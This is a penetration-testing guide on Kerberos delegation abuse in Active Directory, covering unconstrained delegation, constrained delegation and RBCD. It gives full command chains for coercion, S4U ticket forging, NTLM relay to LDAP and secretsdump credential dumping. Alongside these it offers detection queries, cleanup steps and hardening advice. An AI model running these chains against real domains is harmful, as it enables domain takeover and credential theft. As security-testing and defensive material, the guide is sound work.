12 min read

Kerberos Delegation Attacks

Kerberos delegation allows services to impersonate users when accessing other services. Misconfigurations in unconstrained, constrained, and resource-based constrained delegation (RBCD) are among the most powerful and commonly exploited AD attack vectors, enabling full domain compromise from a single misconfigured object.

Danger

Delegation attacks can result in immediate domain admin compromise. Always validate scope authorization before testing — modifying msDS-AllowedToActOnBehalfOfOtherIdentity changes AD object attributes.

Why Delegation Attacks Are Critical

  • Extremely Common: Most enterprise AD environments have at least one misconfigured delegation — especially RBCD write permissions via default MachineAccountQuota.
  • Direct DA Path: Unconstrained delegation on any server caches Domain Admin TGTs, enabling immediate domain compromise with a single coercion trigger.
  • Low Detection: S4U requests blend with normal Kerberos traffic — most SIEMs don't alert on delegation abuse without specific analytics.
  • Chaining Power: RBCD + coercion (PetitPotam/PrinterBug) chains are the #1 modern AD compromise path, bypassing need for any credentials.

Delegation Overview

Kerberos delegation enables a service to act on behalf of a user when accessing another service. There are three types, each with different security implications:

Delegation flows — who holds the ticket and which SPN it reaches

The three flows differ in who authorised the delegation and what the service ends up holding — a full TGT, a ticket for one SPN, or a ticket it was explicitly named for.

Scroll sideways to see the whole diagram

Type AD Attribute Risk Level Description
Unconstrained TRUSTED_FOR_DELEGATION Critical Server caches user TGTs in memory — any user's ticket can be extracted
Constrained msDS-AllowedToDelegateTo High Service can impersonate users to specific SPNs (S4U2Proxy)
RBCD msDS-AllowedToActOnBehalfOfOtherIdentity High Target service specifies who can delegate TO it — writable by resource owner

Enumeration & Discovery

Find Delegation Targets with BloodHound

find-delegation-targets-with-bloodhound.txt
# BloodHound Cypher queries for delegation
# Unconstrained delegation (excluding DCs)
MATCH (c:Computer {unconstraineddelegation:true}) 
WHERE NOT c.name CONTAINS 'DC' RETURN c.name

# Constrained delegation
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL 
RETURN c.name, c.allowedtodelegate

# RBCD — who can write msDS-AllowedToActOnBehalfOfOtherIdentity?
MATCH p=(u)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl|Owns]->(c:Computer) 
RETURN p

LDAP Enumeration

ldap-enumeration.sh
# Find unconstrained delegation with ldapsearch
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
  "(userAccountControl:1.2.840.113556.1.4.803:=524288)" dn

# Find constrained delegation (msDS-AllowedToDelegateTo set)
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
  "(msDS-AllowedToDelegateTo=*)" dn msDS-AllowedToDelegateTo

# PowerView — enumerate all delegation types
Get-DomainComputer -Unconstrained | Select-Object name
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
Get-DomainComputer | Where-Object { $_.'msds-allowedtoactonbehalfofotheridentity' } | Select-Object name

# NetExec — quick check
nxc ldap dc01.corp.local -u user -p 'Pass123' --find-delegation

Tools & Setup

Impacket (Linux)

getST.py, rbcd.py, secretsdump.py, ntlmrelayx.py

pip install impacket

Rubeus (Windows)

s4u, tgtdeleg, monitor, asktgt, harvest

GhostPack/Rubeus (compile from source)

StandIn (.NET)

RBCD setting, machine account creation, DACL abuse

FuzzySecurity/StandIn

krbrelayx (Linux)

Relay Kerberos auth, unconstrained delegation abuse

dirkjanm/krbrelayx

NetExec carries three modules that replace the standalone scripts this page would otherwise tell you to fetch. badsuccessor abuses a delegated Managed Service Account (dMSA) to take over an existing account's identity — the RBCD-shaped path on a Windows Server 2025 domain, and the eventual replacement for setting msDS-AllowedToActOnBehalfOfOtherIdentity by hand. ntlm_reflection tests the SMB client reflection class (CVE-2025-33073), which is a relay-adjacent path rather than a delegation one. timeroast recovers computer-account hashes from MS-SNTP, which is credential access and belongs with 05a. Every one of them is still a module with its own flags, so read nxc <proto> -M <module> --help on the build you are running before anything from this page goes into a report.

Unconstrained Delegation

When a computer is trusted for unconstrained delegation, it stores the TGT of any user who authenticates to it. If you compromise that machine, you can extract all cached TGTs — including those of Domain Admins.

Attack: Monitor & Extract TGTs

attack-monitor-and-extract-tgts.ps1
# Rubeus — monitor for incoming TGTs on compromised server
Rubeus.exe monitor /interval:5 /nowrap

# Rubeus — extract TGTs from memory
Rubeus.exe triage
Rubeus.exe dump /luid:0x12345 /nowrap

# Use captured TGT to access DC
Rubeus.exe ptt /ticket:<base64-ticket>
dir \\dc01.corp.local\c$

Attack: Coercion + Unconstrained (Printer Bug)

Force a DC to authenticate to your unconstrained delegation host using the Print Spooler (PrinterBug) or PetitPotam. The DC's TGT gets cached on your controlled host.

attack-coercion-unconstrained-printer-bug.sh
# Step 1: Start monitoring on the unconstrained delegation machine
Rubeus.exe monitor /interval:5 /filteruser:dc01$ /nowrap

# Step 2: Trigger coercion from attacker machine
# PrinterBug (SpoolSample)
SpoolSample.exe dc01.corp.local unconstrained-host.corp.local

# PetitPotam (unauthenticated if patched, auth if not)
python3 PetitPotam.py unconstrained-host.corp.local dc01.corp.local

# Step 3: Grab the DC TGT from Rubeus output and pass it
Rubeus.exe ptt /ticket:<DC-TGT-base64>

# Step 4: DCSync with DA-equivalent access
secretsdump.py 'corp.local/dc01$@dc01.corp.local' -k -no-pass

Warning

OPSEC Warning: The PrinterBug requires the Print Spooler service to be running on the DC. Many hardened environments disable it. PetitPotam may work as an alternative if MS-EFSRPC is available.

Constrained Delegation (S4U2Proxy)

Constrained delegation limits which services an account can impersonate to. However, with access to the delegating account's credentials or TGT, you can abuse S4U2Self + S4U2Proxy to get tickets for any user to the allowed services. The SPN in the ticket can also be changed (SPN mismatch is not validated).

Attack: S4U2Proxy with NTLM Hash

attack-s4u2proxy-with-ntlm-hash.sh
# Scenario: svc-sql account is constrained to delegate to MSSQLSvc/sql01.corp.local
# You have svc-sql's NTLM hash

# Impacket — request ticket as Administrator to the target SPN
getST.py -spn MSSQLSvc/sql01.corp.local -impersonate Administrator \
  -hashes :a1b2c3d4e5f6 corp.local/svc-sql

# Export and use the ticket
export KRB5CCNAME=Administrator@MSSQLSvc_sql01.corp.local@CORP.LOCAL.ccache
mssqlclient.py -k sql01.corp.local

# SPN alteration — delegate says CIFS only, but modify SPN to LDAP
# The service name in ticket is NOT validated by target
getST.py -spn 'cifs/dc01.corp.local' -impersonate Administrator \
  -altservice 'ldap/dc01.corp.local' \
  -hashes :a1b2c3d4e5f6 corp.local/svc-web

Attack: S4U2Proxy with Rubeus (Windows)

attack-s4u2proxy-with-rubeus-win.ps1
# Get TGT for the constrained delegation account
Rubeus.exe asktgt /user:svc-sql /rc4:a1b2c3d4e5f6 /nowrap

# S4U — impersonate DA to the allowed SPN
Rubeus.exe s4u /ticket:<tgt-base64> /impersonateuser:Administrator \
  /msdsspn:MSSQLSvc/sql01.corp.local /ptt

# With protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION)
# S4U2Self + S4U2Proxy full chain
Rubeus.exe s4u /ticket:<tgt-base64> /impersonateuser:Administrator \
  /msdsspn:cifs/dc01.corp.local /altservice:ldap /ptt

# Verify access
dir \\dc01.corp.local\c$

Information

SPN Alteration: Kerberos does not validate the service name in the ticket against the target. If constrained delegation allows access to cifs/host, you can use /altservice:ldap to change the SPN to ldap/host — enabling DCSync from a CIFS-only delegation.

Resource-Based Constrained Delegation (RBCD)

RBCD flips constrained delegation — instead of the front-end service saying "I can delegate to X", the back-end resource says "X can delegate to me" via msDS-AllowedToActOnBehalfOfOtherIdentity. Anyone who can write to this attribute on a target computer can configure delegation to it.

Prerequisites for RBCD Attack

Requirement How to Get It
Write access to target's msDS-AllowedToActOnBehalfOfOtherIdentity GenericAll, GenericWrite, WriteProperty, or WriteDacl on target computer
Control of a computer account with SPN Create one via MachineAccountQuota (default: 10), or compromise existing
Know the password/hash of controlled machine Set password during creation, or extract from compromised host

Attack: Full RBCD Chain (Impacket)

attack-full-rbcd-chain-impacket.sh
# Step 1: Create a machine account (using MachineAccountQuota)
addcomputer.py -computer-name 'FAKECOMP$' -computer-pass 'FakePass123!' \
  -dc-ip 10.10.10.10 'corp.local/lowpriv:Password1'

# Step 2: Set RBCD — configure target to trust our fake computer
rbcd.py -delegate-from 'FAKECOMP$' -delegate-to 'TARGET-SRV$' \
  -dc-ip 10.10.10.10 -action write 'corp.local/lowpriv:Password1'

# Step 3: Get service ticket as admin to the target via S4U
getST.py -spn cifs/target-srv.corp.local -impersonate Administrator \
  -dc-ip 10.10.10.10 'corp.local/FAKECOMP$:FakePass123!'

# Step 4: Use the ticket
export KRB5CCNAME=Administrator@cifs_target-srv.corp.local@CORP.LOCAL.ccache
smbclient.py -k -no-pass target-srv.corp.local
secretsdump.py -k -no-pass target-srv.corp.local

Attack: RBCD with Rubeus + StandIn (Windows)

attack-rbcd-with-rubeus-standin-win.ps1
# Step 1: Create machine account
StandIn.exe --computer FAKECOMP --make

# Step 2: Set RBCD on target
StandIn.exe --computer TARGET-SRV --sid <FAKECOMP-SID>

# Step 3: Get TGT for fake machine account
Rubeus.exe asktgt /user:FAKECOMP$ /password:FakePass123! /nowrap

# Step 4: S4U — impersonate admin to target
Rubeus.exe s4u /ticket:<tgt-base64> /impersonateuser:Administrator \
  /msdsspn:cifs/target-srv.corp.local /ptt

# Step 5: Access the target
dir \\target-srv.corp.local\c$

Attack: RBCD via Coercion (No Credentials)

Combine NTLM relay with coercion to set RBCD without any starting credentials. Relay the coerced authentication to LDAP and configure RBCD on the target.

attack-rbcd-via-coercion-no-credentials.sh
# Step 1: Start ntlmrelayx targeting LDAP, configuring RBCD
ntlmrelayx.py -t ldaps://dc01.corp.local \
  --delegate-access --escalate-user 'FAKECOMP$'

# Step 2: Coerce authentication from the target machine
python3 PetitPotam.py attacker-ip target-srv.corp.local

# ntlmrelayx sets msDS-AllowedToActOnBehalfOfOtherIdentity on TARGET-SRV$
# pointing to FAKECOMP$ — now complete the S4U chain as above

# Step 3: Get service ticket
getST.py -spn cifs/target-srv.corp.local -impersonate Administrator \
  -dc-ip 10.10.10.10 'corp.local/FAKECOMP$:FakePass123!'

# Step 4: Profit
export KRB5CCNAME=Administrator@cifs_target-srv.corp.local@CORP.LOCAL.ccache
secretsdump.py -k -no-pass target-srv.corp.local

Tip

Cleanup: Always remove the RBCD attribute after testing: rbcd.py -delegate-from 'FAKECOMP$' -delegate-to 'TARGET-SRV$' -action flush -dc-ip 10.10.10.10 'corp.local/lowpriv:Password1'

S4U Attack Chains Deep Dive

S4U (Service for User) consists of two Kerberos extensions that enable delegation:

Extension Purpose Who Can Use It
S4U2Self Get a forwardable service ticket for any user to yourself Accounts with TRUSTED_TO_AUTH_FOR_DELEGATION or RBCD target
S4U2Proxy Exchange a forwardable ticket for a ticket to another service Accounts with constrained delegation or RBCD configured

Full S4U Chain: Protocol Transition

full-s4u-chain-protocol-transition.sh
# When TRUSTED_TO_AUTH_FOR_DELEGATION is set, S4U2Self returns a forwardable ticket
# This means you can impersonate ANY user (including DA) without their password

# Chain: S4U2Self (get ticket as admin to self) → S4U2Proxy (forward to target SPN)
# Using Rubeus
Rubeus.exe s4u /user:svc-web /rc4:a1b2c3d4 \
  /impersonateuser:Administrator \
  /msdsspn:cifs/fileserver.corp.local /ptt

# Using Impacket
getST.py -spn cifs/fileserver.corp.local -impersonate Administrator \
  -hashes :a1b2c3d4 corp.local/svc-web

# RBCD variant — S4U2Self ticket is always forwardable for RBCD
# Even without TRUSTED_TO_AUTH_FOR_DELEGATION
getST.py -spn cifs/target.corp.local -impersonate Administrator \
  corp.local/'FAKECOMP$':'FakePass123!'

Detection & Blue Team

Windows Event IDs

Event ID Source Indicator
4768 Security TGT request — look for machine accounts requesting TGTs with unusual encryption (RC4 instead of AES)
4769 Security Service ticket request — S4U2Proxy shows Transited Services field populated
4770 Security Service ticket renewed — unusual renewal patterns for delegation
5136 Security Directory object modified — watch for msDS-AllowedToActOnBehalfOfOtherIdentity changes (RBCD)
4741 Security Computer account created — MachineAccountQuota abuse for RBCD

Sigma / KQL Detection Rules

sigma-kql-detection-rules.txt
// KQL — Detect RBCD attribute modifications
SecurityEvent
| where EventID == 5136
| where ObjectClass == "computer"
| where AttributeLDAPDisplayName == "msDS-AllowedToActOnBehalfOfOtherIdentity"
| project TimeGenerated, SubjectUserName, ObjectDN, OperationType

// KQL — Detect suspicious machine account creation
SecurityEvent
| where EventID == 4741
| where SubjectUserName !endswith "$"  // Non-machine creating machine accounts
| project TimeGenerated, SubjectUserName, TargetUserName, SubjectDomainName

// KQL — Detect S4U2Proxy ticket requests (Transited Services populated)
SecurityEvent
| where EventID == 4769
| where TransitedServices != ""
| project TimeGenerated, TargetUserName, ServiceName, TransitedServices, IpAddress

Evidence Collection

The misconfiguration: The object and the attribute: TRUSTED_FOR_DELEGATION, msDS-AllowedToDelegateTo or msDS-AllowedToActOnBehalfOfOtherIdentity, with the DN and the value as you found it.

The write: For RBCD, the command that set the attribute and the 5136 it produced. The write is the finding; the ticket is the impact.

The ticket: The .ccache or base64 ticket, the SPN it targets, and the user it impersonates.

Impact proof: One action in the impersonated context — a share listing, a DCSync of a single user, a database query — not the ticket file alone.

Cleanup state: Confirmation the attribute was flushed, and the original value if there was one.

CVSS range: Constrained delegation with SPN alteration: 8.8 · RBCD via writable computer object: 8.8 · unconstrained delegation + coercion to DA: 9.8.

False Positive Identification

  • Delegation the application needs: A web front-end delegating to a SQL backend is the feature working. Report it when the delegate is over-privileged or the target SPN is a DC service, not when it exists.
  • Unconstrained delegation on a DC: Domain controllers hold this by design — excluding them from enumeration is the first thing to get right, or every DC becomes a false positive.
  • MachineAccountQuota above 0: The default is 10 and many estates rely on it for IT provisioning. It is a precondition, not a finding; the finding is a computer object you can write delegation onto.
  • A 4769 with a populated Transited Services field: Protocol transition is a legitimate feature. Correlate with an account that should not be delegating before calling it abuse.
  • A new machine account with no delegation: A created computer account is only half the chain. Without a write to the target, no ticket follows.
  • SPN mismatch in a ticket: Some applications request an alternate service class legitimately. The tell is a ticket for a service the account was never granted.

Testing Checklist

Enumerate before you write

  • ☐ Unconstrained delegation, excluding DCs
  • ☐ Constrained delegation: who delegates to which SPN, and whether the SPN is a DC service
  • ☐ RBCD: who can write the attribute on each computer object
  • ☐ MachineAccountQuota and whether you can create a computer account
  • ☐ BloodHound paths from your foothold to any of the above

Attack the shortest path

  • ☐ Prefer an existing misconfiguration over writing a new one
  • ☐ If you write RBCD, record the previous attribute value first
  • ☐ Use the coercion page for the trigger and this page for the delegation half
  • ☐ Flush the attribute and remove any computer account you created
  • ☐ Re-run the enumeration to prove the attribute is gone

Remediation & Hardening

Remove the standing risk

  • • Remove TRUSTED_FOR_DELEGATION from every non-DC computer; only DCs need it
  • • Set MachineAccountQuota to 0 where provisioning does not depend on it
  • • Add privileged accounts to Protected Users — no delegation and AES-only Kerberos
  • • Audit who holds GenericWrite, GenericAll or WriteDacl on computer objects; that is the RBCD precondition

Watch the change

  • • Alert on 5136 for msDS-AllowedToActOnBehalfOfOtherIdentity and for msDS-AllowedToDelegateTo
  • • Alert on 4741 for computer accounts created by non-machine accounts
  • • Baseline delegation per object so a new entry has something to differ from
  • • Treat a ticket for a DC service from a non-DC front-end as a delegation review trigger